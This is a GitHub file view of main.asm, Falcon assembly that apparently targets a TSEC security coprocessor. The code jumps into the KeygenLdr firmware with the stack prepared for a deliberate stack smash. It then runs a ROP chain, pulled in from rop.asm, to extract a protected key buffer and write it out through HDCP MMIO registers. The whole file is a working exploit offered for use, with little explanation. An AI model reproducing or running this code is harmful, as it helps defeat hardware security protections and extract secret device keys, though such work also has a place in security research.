-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathmain.asm
160 lines (127 loc) · 3.21 KB
/
main.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
include(`base_define.asm')
include(`forloop.m4')
.equ #KEY_DATA_SIZE 0x7C
.equ #BLOB1_PHYS_ADDR 0x400
.equ #BLOB1_VIRT_ADDR 0x300
_start:
mov $r13 0x4200
iord $r13 I[$r13]
shr b32 $r13 0x9
and $r13 0x1ff
shl b32 $r13 0x8
mov $sp $r13
lcall #main
exit
// The physical address of the key data blob, overridden by the repacker.
.b8 0
.b8 0
.b8 0
KEY_DATA_PHYS_ADDR: .b32 0x300
main:
// Setup the stack.
mov $r15 -0x10
add $sp -0x11c
mpush $r8
mov $r9 $sp
add b32 $r9 $r9 0xc4
and $r3 $r9 $r15
and $r4 $r9 $r15
sub b32 $r9 $r9 0x8B
// get the actual key data address. We need to copy 4 bytes to the DRAM from IRAM to see it..
mov b32 $r10 $r3
mov $r11 #KEY_DATA_PHYS_ADDR
mov $r12 0x4
lcall #memcpy_i2d
// load key data into
mov b32 $r10 $r3
ld b32 $r11 D[$r3]
// save key data physical address
mov b32 $r5 $r11
mov $r12 #KEY_DATA_SIZE
lcall #memcpy_i2d
// load blob1 size
ld b32 $r12 D[$r3 + 0x74]
mov b32 $r11 $r5
add b32 $r11 0x100
// Set r5 to the virtual address of blob1 (can be different from key data address)
mov $r5 #BLOB1_VIRT_ADDR
// shift value for cauth later and store it later
shr b32 $r9 $r5 0x8
st b32 D[$sp + 0x24] $r9
clear b32 $r10
lcall #memcpy_i2d
// load blob1 size again???
ld b32 $r12 D[$r3 + 0x74]
mov b32 $r10 $r5
clear b32 $r11
mov b32 $r13 $r5
mov $r14 0x1
lcall #memcpy_d2i
mov $r9 0x60000
add b32 $r15 $r4 0x20
clear b32 $r6
or $r7 $r15 $r9
clear b32 $r2
clear b32 $r9
clear b32 $r8
// Copy key data for no reasons????
mov b32 $r10 $r4
mov b32 $r11 $r3
mov $r12 #KEY_DATA_SIZE
lcall #memcpy
// Now authenticate and jump!
// load blob1 size and set $cauth
ld b32 $r9 D[$r4 + 0x74]
ld b32 $r15 D[$sp + 0x24]
shl b32 $r9 0x10
or $r9 $r15
mov $cauth $r9
// get ready for the jump to HSEC
cxset 0x2
xdst $r8 $r7
xdwait
// Let it begin...
lcall #start_exploit
// Store an according result value in Falcon scratch 1.
mov $r10 0xB0B0B0B0
mov b32 $r15 $r10
mov $r9 0x1100
iowr I[$r9] $r15
mpopaddret $r8 0x11c
include(`memcpy.asm')
include(`memcpy_d2i.asm')
include(`memcpy_i2d.asm')
include(`tsec_wait_dma.asm')
include(`tsec_dma_write.asm')
include(`tsec_set_key.asm')
start_exploit:
// Use Falcon scratch 0 to backup the $sp value.
mov $r15 $sp
mov $r9 0x1000
iowr I[$r9] $r15
// Set some variables that KeygenLdr depends on.
// key_buf
mov b32 $r10 $r4
// key_version
mov $r11 0x1
// is_stage2_decrypted
mov $r12 0x0
// Prepare $sp for the stack smash yet to happen.
mov $r0 0xA00
mov $sp $r0
// Jump into KeygenLdr.
call $r5
ret2win:
// Restore the original $sp value to return to main.
mov $r9 0x1000
iord $r15 I[$r9]
mov $sp $r15
// The ROP chain stores the address of the key buffer in Falcon
// DMem. From there, we can output the key through the HDCP MMIOs.
clear b32 $r10
mov $r10 #ROP_KEY_BUFFER
lcall #tsec_set_key
// We're done here, return back to main.
ret
// Start of the ROP chain.
include(`rop.asm')